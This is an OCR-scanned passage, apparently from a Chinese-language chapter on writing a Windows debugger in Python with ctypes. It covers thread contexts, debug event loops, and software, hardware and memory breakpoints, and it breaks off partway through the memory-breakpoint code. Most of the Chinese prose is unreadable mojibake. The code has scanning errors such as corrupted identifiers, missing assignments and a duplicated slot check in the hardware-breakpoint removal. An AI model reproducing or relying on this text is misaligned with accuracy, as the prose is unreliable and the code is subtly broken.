B B IRAT I e X AR B G FATTHY debugee HEFEFTHIA . — BIRMIMN RGe R I i h H 38
B AP A e, 8RR AT Ll i 55—~ API R % Thread32Next() AW FE X %
PR PR . XA R B 5 LS Thread32First() 564 —2, R HFEH
WHXA R E BE A TR RN LR,

322 IhgEES

BEAR BV A LR A T RAIA A FE, B TFRHERENREFRIUH EF
YHEGR, XHPEFETHAFAEBOIWNMAERHER . X— 5 Ba LU B sk %
GetThreadContext()“ X4 Bh 5 i, A sk AR F AR [RIAERRA 1t o] LI ol e A 41
%k oFi 45 SetThreadContext() >R X 47T L F 3¢ o i B 18 i i B 25

© £ ) MSDN 4 #J44 THREADENTRY 32 (http://msdn2.microsoft.com/en-us/library/ms686735.aspx).
(2 Z: . MSDN GetThreadContext PF!#{(h[[p:ﬂmsdnz.micmsofl_com:’cwusﬂibraryfm5679362.aspx):
@ #Z . MSDN SetThreadContext £8 {(http://msdn2.microsoft.com/en-us/library/ms680632.aspx).
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BOOL WINAPI GetThreadContext (
HANDLE hThread,
LPCONTEXT lpContext

)i

BOOL WINAPI SetThreadContext (
HANDLE hThread,
LPCONTEXT lpContext

B

Z 8 hThread FHUE BT LOKIE T 50808 OpenThreadfIE A4 5, s IpContext
W& — A5 7 S5 H 6 CONTEXT K44, XANG A S T 2487 LT SCRRsS b iy 27 77 58
M= ATIESS B . BEAF CONTEXT 5Mi 4k TRATE A% EEMD N, XA RN &
SR R

typedef struct CONTEXT ({

DWORD ContextFlags;
DWORD Dr0;

DWORD Drl;

DWORD Dr2;

DWORD Dr3;

DWORD Dr6;

DWORD Or7;
FLOATING_SAVE_AREA FloatSave:
DWORD SegGs;

DWORD SegFs;

DWORD SegEs:;

DWORD SegDs;

DWORD Edi;

DWORD Esi;

DWORD Ebx;

DWORD Edx:

DWORD Ecx;

DWORD Eax;

DWORD Ebp;

DWORD Eip;

DWORD SegCs;

DWORD EFlags;

DWORD Esp:

DWORD SegSs;

BYTE ExtendedRegisters{MAXIMUM_SUPPORTED_EXTENSION];
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HRET WL, A ()25 17 S A S e X A g M A, I ep A T A A7 A7 2R M BLY
02 . RATR RIS G MRS R EIR R BT XA dikatk,  DISLE ORI 5

e R .
PLE TS IRATIZ A my_debugger.py PR S, XIRIAT I A AL FEMASThiiE

il R SCfE BRI fE .
my_debugger.py

class debugger():

def open_thread(self,thread_id):
h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None,

thread_id)

if h thread is not None:
return h thread

print "[*] Could not obtain a valid thread handle."
return False

def enumerate_threads(self):

thread _entry = THREADENTRY32 ()

thread_list = []
snapshot = kernel32.CreateToolhelp32Snapshot (TH32CS

_SNAPTH READ, self.pid)

if snapshot is not None:

# RTEE T M R EIX SRR KD,

B 7 U 22 R
= sizeof (thread_entry)

thread_entry.dwSize =
success = kernel32.Thread32First (snapshot,

byref (thread entry))

while success:
if thread_entry.th320wnerProcessID == self.pid:

thread list.append(thread_entry.th32ThreadlD)
success = kernel32.Thread32Next (snapshot,

byref (thread_entry))
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kernel32.CloseHandle (snapshot)
return thread_list

return False
def get_thread_context (self, thread_id=None,h_thread=None) :

context = CONTEXT ()
context.ContextFlags = CONTEXT_FULL | CONTEXT DEBUG_REGISTERS

# IRHUER R R

h_thread = self.open_thread(thread_ id)

if kernel32.GetThreadContext (h_thread, byref (context)):
kernel3?.CloseHandle (h_thread)
return context

return False

IAEIRAT R B — e R A SR T — 24, BRI A B LU R AT 15 I ()

my_test.py

import my_debugger

debugger = my_debugger.debugger()

pid = raw_input (“Enter the PID of the process to attach to: *)
debugger .attach(int (pid))

list = debugger.enumerate_threads()

# XFFIRP MG —NEE, A BRI N
# EFXER

for thread in list:

thread_context = debugger.get_thread_ context (thread)

# M LHFARGEE

print "[*] Dumping registers for thread ID: 0x%08x" % thread
print "[**] EIP: 0x%0Bx" % thread _context.Eip

print "[**] ESP: 0x%08x" % thread_context.Esp

print "[**] EBP: 0x%08x" % thread_context.Ebp
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print EAX: 0x3%08x" thread context.Eax
print EBX: 0x%08x" thread_context .Ebx
print. ECX: 0x%08x" thread_context .Ecx
pritil-" EDX: 0x%08x" thread_context .Edx
o s e L o END DUMP"

debugger.detach()
XYY RIZEAT IR A S, VREE B 5303 3-1 LR B N &AL H .
3% 3-1: EMITEEFRETHSEFERIERSRE

Enter the PID of the process to attach to: 4028
*] Dumping registers for thread ID: 0x00000550
EIP: 0x7c90eb94
ESP: 0x0007fdel
EBP: 0x0007fdfc
EAX: 0x006ee208
EBX: 0x00000000
ECX: 0x0007f£dds
EDX: 0x7c90eb%4
[*] END DUMP
[*] Dumping registers for thread ID: 0x000005c0
[**] BIP: 0x7c95077b
[**] ESP: Ox0094fff8
[**] EBP: 0x00000000
[**] EAX: 0x00000000
[**] EBX: 0x00000001
[**] ECX: 0x00000002
[**] EDX: 0x00000003
[*] END DUMP
[*] Finished debugging. Exiting...

IRES, A2 (RA] AR YCEIAL T CPU LM ER — ANy fras, PRiER] AR JLAN HiAth
AFRIHEERRATF, BERBAERES SRS R ZIERMNCEHRET#
AR BE ML, T FRATHRE 8 L SR — e A (1 VR R A b BRI AR LA B AN [R) S B ) BT
PUH et — 4 78 S TRATT K 1 1l 2%

3.3 SR A BRI R

S T AE RSB AE AL XS BT R AE R A A ERa R I N, BATINE Ml e R A
()R ik A e AR T R ) AL BE AT o LB FRATT R — T R # WaitForDebugEvent() F# A 77 =L,
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BRI R AR, RO LB BE AL B R M — AN BB DEBUG_EVENT 4544
. Z RN TEZE T XA GSHERAAAE, RS H 2 —tkitk E B xSt AT IRE:
MAERNE ERXANEHEFRGEE, DHERIRMNET I R EEKE, 4k
DEBUG_EVENT [#)5& X n K.

typedef struct DEBUG_EVENT {

DWORD dwDebugEventCode;

;DWORD dwProcessId;

DWORD dwThreadId;

union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_ PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;
tu;

¥s

EANERAER BN T RMGELE, PR3 R dwDebugEventCode R 2R A1H
FORHE MRS, AT A A 3RAT] 68 4 WaitForDebugEvent() BT fili 3K 21 i B4 (0 #f ) 26584 . X
ARk AR R E R R g T AR U ROy SR RS 4 u EEMEE. AFRAH
IV F A LA R S SICE A o [ Z B X N CRER 3-1 PaaH.

#31 BRARHIIE
Wit E e n BAkud

EXCEPTION_DEBUG_EVENT u.Exception

CREATE_THREAD_DEBUG_EVENT u.CreateThread

CREATE_PROCESS_DEBUG_EVENT u.CreateProcessinfo

EXIT_THREAD_DEBUG_EVENT u.ExitThread

EXIT_PROCESS_DEBUG_EVENT u.ExitProcess

LOAD_DLL_DEBUG_EVENT u.LoadDII

UNLOAD_DLL_DEBUG_EVENT u.UnloadDII
OUTPUT_DEBUG_STRING_EVENT u.DebugString

RIP_EVENT u.Riplnfo

LKW dwDebugEventCode IR, FAi1nT LUK 344 2B S EC S48 u PR —
40
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X R, MIBEAAE u PR AR B i A O BRI A X P Z A R KR
HRAE T FRAT 2 A 8 VARG ER A A LAAE o5, DAAE A il PR VR A £ 55— B 1) ) AT 1
H A S O S DL R RS B o JH I A 40 ) X ey ) A TS R, FRATT AT RO R A B
ol HE R 2 S BT 2 2 D R A B T % . BLAESERTIA my_debugger.
py LA ERATTHIMABI A my_test.py .

my_debugger.py

class debugger():

def __init__ (self):
self.h_process =
self.pid =
self.debugger_active =
gself.h_thread ke

self.context 3

- get_debug_event (self) :

debug_event = DEBUG_EVENT ()
continue_status = DBG_CONTINUE

if kernel32.WaitForDebugEvent (byref (debug_event) , INFINITE) :

# RBUH R R ARSI - T OB S
self.h_thread = self.open_thread(debug_event.dwThreadId)
self.context = self.get_thread_context(self.h_thread)

print "Event Code: %d Thread ID: %d" %
(debug_event .dwDebugEventCode, debug_event .dwThreadId)

kernel32.ContinueDebugEvent (
debug_event.dwProcessld,
debug_event .dwThreadlId,
continue_status)

my_test.py

import my_debugger
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debugger = my_debugger.debugger ()
pid = raw_input ("Enter the PID of the process to attach to: ")

debugger.attach(int (pid))
debugger .runi)
debugger .detach ()

BE M Z A calcexe KA LA AN S, WARFMHHEBENY S
B F 3-2 P N AL

FlF 3-2: MinE| calc.exe #HI2Z G P4 BV BH7K

Enter the PID of the process to attach to: 2700
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3976
Event Code: Thread ID: 3912
Event Code: Thread ID: 3912
Event Code: Thread TD: 3912

MUELEPR A 45 B, BATH 2 —4 CREATE_POCESS_EVENT i {4(0x3)
o e ek e, B BE LS & — & 51K LOAD_DLL_DEBUG_EVENT i {4 (0x6) 1 — 4>
CREATE_THREAD_DEBUG_EVENT ¥ ff (0x2) . % F 3k % 4 () ¥ {4 EXCEPTION_
DEBUG_EVENT(0x1)/Z 1 Windows &% H &AM 51 %K, 3 H M2 7E Hbrdk
FEAEN BRI INZ 5 28— I T 2 AT T3R Bt — M 2 H AR R N SRR HL S . RATE S
i g — 434 £ /& EXIT_THREAD_DEBUG_EVENT(0x4), XFi®E — M FRiR& 4
3912 M FE IEAEIB AT .

ERREMRZ R FEZ A, BRARERG TR AR — A%, JLPFaE
BNV FAE, HEWT A AEIE VS )k A U RCBRAR R (R i S R R
ANEHED) M2 LB, M XSS E RN E R S 2XE %, ERI1%E
M Windows R ZEHTIRE) (11T AL FAE N T 1) JRATT (1 B0 A ST 1 my_debugger.py #
ALLFARES:

o R B JE s SR e N o B R W o, W o TR R T %
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My_debugger.py

R

class debugger|() :

def _ init_ (self):
self.h_process
self.pid
self.debugger_active
gelf.h thread
self.context
self.exception =
self .exception_address =

- get_debug_event (self):

debug_event = DEBUG_EVENT ()
continue_status = DBG_CONTINUE

if kernel32.WaitForDebugEvent (byref (debug_event) , INFINITE) :
# REUH KRR AW HR I E T 3COAEE B
self.h_thread = self.open_thread (debug_event.dwThreadId)

self.context = self.get_thread context(self.h_thread)

print "Event Code: %d Thread ID: %d" %
{debug_event .dwDebugEventCode, debug_event .dwThreadIld)

# HFEERXRE N RETL, W R
# FIbIRAR
if debug_event.dwDebugEventCode == EXCEPTION_ DEBUG_EVENT:

# RIUR ALY
exception =
debug_event.u.Exception.ExceptionRecord.ExceptionCode
self.exception_address =
debug_event .u.Exception.ExceptionRecord.ExceptionAd-

if exception == EXCEPTION_ACCESS VIOLATION:
print "Access Violation Detected."
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R B — AU, UL FE AR I P S A
# R
elif exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler_breakpoint ()

elif exception == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected.®

elif exception == EXCEPTION_SINGLE_STEP:
print "Single Stepping."

kernel32.ContinueDebugEvent (debug_event .dwProcessld,
debug_event .dwThreadlId,
continue_status)

def exception_handler_breakpoint (self):

print "[*] Inside the breakpoint handler."
print "Exception address: 0x%08x" % self.exception_address

return DBG_CONTINUE
FUIEATRATE BRI A, RV 242 AT LU B AH 5% (4 A5 SIS VRAE — AN 3R s bk
ik Az o (7] I AR A N 24 A B FRATTAEPRARHS o Ok fili £ ¥ 51 (EXCEPTION_SINGLE_STEP) F1Qy
177 ri (EXCEPTION_GUARD_PAGE) Tl T #HMN fCHHE . 7B & T HRH T S AR
G, BATVKSLILA X =FARE SR M L], BURE X —Fh R (i o HAriE R
A E B .

3.4 JTCIiASRE ) 7 2

FIHA AR AFOCL RS T N ohie@ iR L, IEZRRETIN
R B8 A BUE 0 R —— W7 L. SR TR 17658 2 b TR RIS i, AT
WU SIZERRT 65, BB DT o DA B N AT X =R s WL AT S L, 3 R — R T S8
FHR AR GIFE . MRS R B FRATT A dnfo] 76 07 p5 P 2 5 52 3 A LA 37 R TR
3.4.1 WS

A T Re/E B R RE S, BINMTEEREZEEHBEANGRRESD, MRS
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sk B TN 5 FH (1 4 47 5 44 88 3L ReadProcessMemory()fll WriteProcessMemory() ™= ‘£
A 5 AHACLI) R B 5 Y -
BOOL WINAPI ReadProcessMemory (
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE T nSize,
SIZE_T* lpNumberOfBytesRead
)i

BOOL WINAPI WriteProcessMemory (
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID 1pBuffer,
SIZE T nSize,
SIZE_T* lpNumberOfBytesWritten
1z
ERH TEANAFEREREN S OB, BIOMEZSEAELUTERE RSB
debugee HEFEH A AHE . MXFHADARBTIEHMNSHIIRBER S T HE.
IpBaseAddress 341145 B Uk 5 N\ B B /e (R 4G M A ik . 28 IpBuffer 15— M4
AR FFR M E RN EKENRE BARNEE . B/E, S5 nSize HBAFEH T PrEEH
RSP €711 )N e
W FR AR B, BRATAT LR S b R KA SCILE T L. BRTEY R RRAT)
A% VRS, DU AER T A B B 5 AL EE AL . '

my_debugger.py

class debugger():

def init_ (self):
self.h_process None
self.pid None
self.debugger_active False
self.h_thread None
self.context None
self.breakpoints {}

@ # . MSDN ReadProcessMemory Bf Fl(http://msdn2.microsoft.com/en-us/library/ms680553.aspx).
@ % I, MSDN WriteProcessMemory B #{(http://msdn2.microsoft.com/en-us/library/ms681674.aspx) .
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def read_process_memory (self,address, length) :
data = "mn

read_buf = create_string buffer (length}
count = c_ulong(0)

if not kernel32.ReadProcessMemory (self.h_process,
address, read buf,

length, byref {(count) ) :
return False

else:

data += read_buf.raw
return data

write_process_memory (self,address,data) :

count = c_ulong(0)
length = len(data)

¢ _data c_char_p(datal[count.value:])

if not kernel32.WriteProcessMemory (self.h process,
address,
c_data,
length,
byref(count)) :
return False
else:

return True
def bp_set (self,address):

if not self.breakpoints.has_key (address):
trv:
# BN FEhE bSO

original_byte = self.read process_memory (address,

# BA—4 INT3 FHfiES, HEMEMA oxco

self.write_process_memory (address, *\xCC")

# REET RO D SRAE— A S M SR
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self .breakpoints[address] = (address, original_byte)

except:
return False

return True
FHEAERMIIRRRK EHH TR — M s, R HERTAS. —HRmsE, WA
B B TR R B kAL, DU ARG . fERER I H Y, RATRIEH Z M
K ——R ¥ printfOK 72 4 BRATEIRTF X % . BeAM AL T H 3 Windows BT 4L ) — AN ik
API GetProcAddress() 3K #5 B 2K HU K — ef 20 R 3L A A7 b ik, 53X R B R 2 FR s A R I
kernel32.dll . U XA APL & £ ME— BTS2 07 1 Se IS H A el SO fE A B CrT B
ASdll 58EH —exe ) BIRIME, X PMESHES] T API A% GetModuleHandle()”
)8 . A% GetProcAddress()5 GetModuleHandle()F R 8t F B
FARPROC WIHAPI GetProcAddress (
HMODULE hModule,

LPCSTR IpProcName
)

HMODULE WINAPI GetModuleHandle (
LPCSTR l1lpModuleName

Iz

P, ROV EMBO AR NTE, FARNMEHCHBIRA)WE, 5N hiE
FHBRANAEER T R Eothl . D IRATE L T34 — /N 4h B ok BOH T8 vt 28 ot il il b
MIRE TAE, [PIE|IRATH AT my_debugger.py, IMALL FALHS:

my_debugger.py

class debugger():

def func resolve(self,dll, function):

handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress (handle, function)

kernel32.CloseHandle (handle)

@ 2 ). MSDN GetProcAddress i #{(http://msdn2.microsoft.com/en-us/library/ms683212.aspx).
@ % L MSDN GetModuleHandle & ¥ (http://msdn2.microsoft.com/en-us/library/ms683199.aspx) .
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return address
BRAEGIEEIRATAIEE —ANIRE printf_loop.py, XA BHIAS BT 1) R 187 B2 M 7F — MG R
Gk VP R printf().  MEAMNRATE T B E B S 2 BN A my_testpy, A
BN B AR EAT H b o B hk () W80T 55 BT AT (B T AR . Bl IR b, R
& B 15 8. QIR —NFTH Python MIASC#, HAr4& % printf_loop.py, Jf
LU T A

printf_loop.py

from ctypes import *
import time

msvert = cdll.msvert
counter = 0

while 1:
msvert.printf("Loop iteration %d!\n" % counter)

time.sleep(2)
counter += 1

TS FT BATHI R A A my_test.py, B4 5 5T 52 SRR B -5 BT A5 AR TR

my_test.py

import my_debugger

debugger = my_debugger.debugger()

pid = raw_input ("Enter the PID of the process to attach to: *)
debugger .attach(int (pid))

printf_address = debugger . func_resolve("msvert.dll", "printf")
print "[*] Address of printf: 0x%08x" % printf_address
debugger .bp_set (printf_address)

debugger.run()

BATHO IR B e A 24T F 3 81 printf_loop.py FF44, #2255 FHl Windows 1.4
FELACR FHERE python.exe ] PID . HJFEfTIRIIA my_testpy, HHIAZ AR F
[ PID . RE 4 7] LLE B 5515 3-3 th iR AT S L
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I3 3-3: MHETZ M In B ER T o2 A o Z B Frdfi A — R FIBEHER

Enter the PID of the process to attach to: 4048
[*] Address of printf: 0x77c4186a
[*] Setting breakpoint at: 0x77c4186a
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3148
Event Code: Thread ID: 3620
Event Code: Thread ID: 3620

[*] Exception address: 0x7c901230
[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 3620
Event Code: 1 Thread ID: 3148

[*] Exception address: 0x77c4186a
[*] Hit user defined breakpoint,

MNEA_E B 7 R 1 45 SR 3411459 %0 BR B printf QBT LE 18 N A7 -l 4 0x71c4186a, iR 28
R 2B T . RATE B —A 75 F 45t Windows [ 5 BRE) [ 7 5 i 2, S B
JCJE B R ELE S AN T 5, AHSC K H A5 ST B 5 0 S 1) R A T4 T 0x71c4186a,
3 A2 BR B printfQ AT TE IR B o 7EAH B (K W7 A AL BRI R AT se 2 5, B Br it o (45 2
S5 AR AR . IRAERRATIOO A IR 28 C M & T80 SHLE, FRBRITSML L)
T 17 2 ok

3.4.2 WEHES

B W7 R FRATT BB SERIRISE T AL, 3K — IR 100 SE I ek R e 4 R 2
A7 28 R ST AT AR A DXl P SR AN L O EACT AR 2 S A R VA (18,
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PRI b 7 A B oh FRATKS T A 5% A SEBRAH Y o VR B R VR 20 sl DT 0 A — A IR £ A R T UK
AT K i Hh ER 3 DY AN R A 228 (DRO~DR3) [AFRPIRIL, LAERE R LN AR A a8
i Ah TR EARAS, T LA A R O A, DUk R VR385 F4E I R 25 8 Y
AT Al, BWER ES R ATURLZ J AT 23 S A b R 15 10

BAIAFEE EiriE R TS LRI, FNES M ITEEMRN LT 3XER
0. A TiXE FFER, BANMER RUAE DRO % DR3 2 [H) ) Hh— MR A 788 (X
RTFB—NEFABLTRERS) #TB% UHMEAFERFFRP RN ERER
W7 k. SR RATR T R E DR7 FF 47 a5 F AR X N AL B (0 nl BaE W7, AN RAITERN %
ik DR7 o BT s SRR 5K

—HBATE T =AW r B EIRE, AR L3R 450 n LUE B
VA5 1 i 9% 1 il o g 12 b A T 25 BT AU BF) 5 S . BRI S — B A P Sk — A
INT1 (EREFRAELSHM) 4, BEHRNTEEMA — NN S H b FIFE, LUE
FEMEAEE KBRS . BT B S ST — AN 05 B B IT R .

my_debugger.py

class debugger() :
def __init__ (self):

self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread None
self.context None
self.breakpoints = )
self.first_breakpoint = True
self . hardware_breakpoints = {}

bp_set_hw(self, address, length, condition):

¥ R R KEREEA

if length not in (1, 2, 4):
return False

else:
length -= 1

# R T T R O R A R
if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE) :
return False
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# RO R A A A 2 B A R A A AR

if not self.hardware breakpoints.has_key (0):
available = 0

elif not self.hardware_breakpoints.has_key (1) :
available = 1

elif not self.hardware_breakpoints.has_key(2):
available = 2

elif not self.hardware_breakpoints.has_key(3):
available = 3

else:
return False

# BNELEG - NMEERN T RE M AT 7S
for thread_id in self.enumerate_threads():
context = self.get_thread context (thread id=thread id)

# Wit E DR7 P MR EAE
# RBOEWT S

context.Dr7 |= 1 << (available * 2)

# EEROFAHDPEARIINM A

# Hadik

if available == 0:
context .Dr0 = address

elif available == 1:
context.Drl = address

elif available ==
context.Dr2 = address

elif available == 3:
context.Dr3 = address

# B AR b S A i 5 A

context.Dr7 |= condition << {((available * 4) + 16)

# BEEIFE R PR

context.Dr7 |= length << ((available * 4) + 18)

# REZLUHEHERE LT IOGMRER
h_thread = self.open_thread({thread_id)
kernel32.SetThreadContext (h_thread,byref (context))

# SET A AR A TR U7 2R B R

self.hardware breakpoints|available] = (address,length,condition)
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return True

PrAT LA B — 44 JA A 1) S 3L 45 ¥ hardware_breakpoints #7 i T BRER 10 3% 298 L 7 17
A% (K8 RO, LME T A R B AAE— AN TR . 5 s R VIHh S/ 1E
XHE AN B A A A, FAVE R XA BRI RS AR ik, I3 F DR7 %
728 | IOAH AR AR BT IX N T . BB U8 O R & 7 (84 00 B8 44 M S EAL
il o TN FRATTHE SR AH Y T RRIE IR S5 R, e D s 0 — A Ak BRI R H T L A g .
A g A AR ) INT1 Pl At

my_debugger.py

class debugger () :
def get_debug_event (self):

if self.exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
elif self.exception == EXCEPTION_ BREAKPOINT:
continue status = self.exception_handler_breakpoint ()
elif self.exception == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected."
elif self.exception == EXCEPTION_SINGLE_STEP:
self.exception_handler_single_step()

exception_handler_ single step(self):

# ¥ 8 pyDbg WIS —BIER:
# FUBTXAS D SR bR TR, R AR IX A
# A, BRI Intel SSHACE, RAIN HEESEIRAN Dre FH78 LM
# BS bR AR HN XA R g A U, 2R windows REERLTH
# BAIERE X MRS RS IRA.
if self.context.Dr6 & 0x1 and self.hardware_breakpoints.has_key(0) :
slot =0
elif self.context.Dr6 & 0x2 and self.hardware breakpoints.has_

slot =1

elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.has_

glot =3
elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.has_
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slot =
else:
# XA INT1 T HAE h— M AT S R

continue_status = DBG_EXCEPTION_NOT_HANDLED

# AT 3 513 BB BRI M
if self.bp del hw(slot):
continue_status = DBG_CONTINUE

print ("[*] Hardware breakpoint removed.")
return continue_status

def bp_del_hw(self,slot):

# R PTA BAT R BRI A

for thread_id in self.enumerate_ threads():
context = self.get_thread context (thread id=thread id)

# 38 T SRR LR BRIX M M

context.Dr7 &= ~{1 << (slot * 2))

# KM st bEs %
rr g8lot == (:

context .Dr0 0x00000000
elif slot == 1;

context.Drl 0x00000000
elif slot == 3:

context.Dr2 0x00000000
elif slot == 3:

context.Dr3 = 0x00000000

# I W A bR A
context.Dr7 &= ~(3 << ((slot * 4) + 16))

MR bR A

context.Dr7 &= ~(3 << ((slot * 4) + 18))

# SRATEBRMT S MR T R EER
h_thread = self.open_thread(thread_id)
kernel32.SetThreadContext(h“thread,byref(context})

# RN IT A P A M 5B A B
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del self.hardware_breakpoints[slot]

return True
ARG R S M RAVE R NS —H TR, 4 INT1 Pl gAns, A
.‘wwmlm [t R 25 AF 2 P R | A — N WAAALE S 80 0 7 5 R A AR UTAC 1) 7
W BAFPEIXAE— W7 e, FRATENE = DR7 #4788 LA NAREAT, 3 3 B AT R R K
HAFES. b‘lriif'§21|‘1>1¢4=”"k’~; N REAR T R SERR ORI IR ATI S0 EE T B A my _test.py
fif—EefE i, X IRIRAN AL printf OO — A4 M A

my_test.py

import my_debugger
from my_ debugger defines import *

debugger = my_debugger .debugger ()
pid = raw_input ("Enter the PID of the process to attach to: ")
debugger.attach (int (pid)}

printf = debugger.func_resolve("msvcrt.dll", "printf")
print "[*] Address of printf: 0x%08x" % printf

debugger .bp_set_hw(printf, 1, HW_EXECUTE)
debugger.run/{)

RAT LA BIPIABI A my_test.py BT A0 (AL 46 — N1 06T 2R AR A Bk T

XMW R KERA AN FN. KAREN ZEBRIRMNSAT XH

my_debugger_defines.py, EAX A% T HW_EXECUTE (% & X. 2Rk BT
XABEAR, VRN B S5 3-4 Bros N ARSI .

ST 3-4. INBEIEMANEIEAFE 2 M A 2z 8 TR A R — R TR

Enter the PID of the process to attach to: 2504
[*] Address of printf: 0x77c4186a

Event Code: 3 Thread ID: 3704

Event Code: Thread ID: 3704

Event Code: Thread ID: 3704

Event Code: Thread ID: 3704

Event Code: Thread ID: 3704

Event Code: Thread ID: 3704

Event Code: Thread ID: 3704
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Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Event Code: Thread ID: 2228
Event Code: Thread ID: 2228
[*] Exception address: 0x7¢$01230
[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704
[*] Hardware breakpoint removed.

& ot s BB RAT LR B — AR gdh s, BSR4 b 2 )
HR AR SRR . B AREER P TR H S RN S 2 A E B R S S 2 R LAk
4. FULIRAVA RS C LI T W/RENT AUXPIRIHLE], 8F RAEIRATEL A7 W s b
BN REZSSOWE TEE a5,

3.43 HEHS

AT SR R BRI B S BE — N DhRE. AMBITEETE¥SHERE -AFK
AR e ot B OX R AF X B AN N A7 LEE LA AP iR dh k), AR RATTE T
i EAE AT ERE RGP BT RE N FE TR /N . B P AR 05 A AS B0 2 48 TSOHR 5% PR 77 TG
VimARR, DMELRSRIIRZ N “RI 707 #FFME. 24 CPU KBV X — A F7 X 48,

- GUARD_PAGE_EXCEPTION S H# ##{HE St . AHBRNE L 1RE—AMFEW
A b T FE A X KA R, B XN R EARMEE, HEEE
PRuEFETS LAGR AT .

T AERa S B AR A AE KSR AL, BRATT R O T ) A R A B A AT ER
NI A7 LR/ &, 3X 0T LA B R FH R #1 GetSystemInfo() 5. X4 ek 0K UL 2 $f:
{E B [El—4> SYSTEM_INFO“ 4544k, AT &I AR i A i dwPageSize IRATIEH T
RGEBRN BTN AF TR AR AE B0 IR 2 debugger) I FTEA LI B 52 o ix — 3 A £ B

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

PN OO O OO OhOh Oh

(O £ L MSDN GetSystemInfo Pﬁlﬁ(hllp:ﬁmsdnz.microsofl.conﬂen—usﬂibrary;‘ms?2438l.aspx}o
@ Z L. MSDN SYSTEM_INFO % #(http://msdn2.microsoft.com/en-us/library/ms724958.aspx) .
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)2 ) 20 5K
my_debugger.py

class debugger() :

def _ _init_ (self):

self.h_process = None
self.pid None
self.debugger_active False
self.h_thread None
self.context None
self.breakpoints = {1}
self.first_breakpoint = True
self.hardware_breakpoints = ({}

# BE Ui RE T BANER

# IR EGE

system_info = SYSTEM_INFO()
kernel32.GetSystemInfo (byref (system_info))
self.page_size = system_info.dwPageSize

-HIRAIRB T REBIABANAF IR, IRATEI AT X4 % N AE T AR 3E T Ay ) 548
e BRATT T 55 T BESE R 20 — AN 20 TR S 4R H A 5% N A7 08T o XK BT 3 I B DN AFE T, IX
TAFRNEEERNBEEEEMAF ARG AE. X5 B0 Bl ok ¥
VirtualQueryEx() “ K 5¢ ik, X~ el ¥0H LA 2 $04& {5 19 1 LR [B]— 4~ MEMORY_BASIC_
INFORMATION "5 #4044, YRa] AZEIXA A3 5 Hir N F ARG R. BT
439 A7 R #Y VirtualQuery K] i %Y LL S 25 ¥ 4& MEMORY_BASIC_INFORMATION [#]5& X :
SIZE_T WINAPI VirtualQuery (

HANDLE hProcess,

LPCVOID lpAddress,

PMEMORY_BASIC_INFORMATION lpBuffer,

SIZE T dwLength
)i

typedef struct MEMORY_BASIC_TINFORMATION{

(O 2 ). MSDN VirtualQueryEx ¢f ¥((http://msdn2.microsoft.com/en-us/library/aa366907.aspx).
@ Z L MSDN #i#4{& MEMORY_BASIC_INFORMATION (http://msdn2.microsoft.com/en-us/library/aa
366775.aspx).
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PVOID BaseAddress;

PVOID AllocationBase;
DWORD AllocationProtect;
SIZE T RegionSize;

DWORD State;

DWORD Protect;

DWORD Type;

HLIRATTHAG ST S S5 R AR, BRATTEFLLAR A A B BaseAddress [FIME 1 b 1 & sk
Bas PN A7 e X SR R 2 Mo hE . pRY VirtualProtectEx (K54 F T 5 P 77 T 0 BB, 34
PR LR A0 R TR
BOOL WINAPI VirtualProtectEx(
HANDLE hProcess,
LPVOID 1pAddress,
SIZE_T dwSize,
DWORD flNewProtect,
FDWORD 1pflOldProtect
¥
BAELEBA 2 Bk, BRATE4ES— 2R REP TR T LR B LG
AL PAFRT . FH—N2RF R T e FRBMNITE FOATER A SHIN G
GUARD_PAGE_EXECEPTION 53 % SR 4 40l HH i, 777 1) S 42 A 20 400 Bl 2 4 ) 3015 s 4
Jafa B IRATTRHE U A &k W AE K BRI A7 T (B S IR P9 A7 BX S TT EREES 2 A ek &
2B EINAFTD) U7 i) AU .

my_debugger.py
class debugger():

def . init_ (self):

self.guarded_pages =]
self .memory_breakpoints = {}

def bp_set_mem (self, address, size):
mbi = MEMORY_BASIC_INFORMATION()

# HERBOHARIRE /5K MEMORY_BASTC_INFORMATION 4E#j4k,
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# MM False
if kernel32.VirtualQueryEx(self.h_process,
address,
byref (mbi) ,
sizeof(mbi)) < sizeof (mbi):
return False

current_page = mbi.BaseAddress

# WA TN AFE AR EAE &I TAEAER
# REBR

while current_page <= address + size:

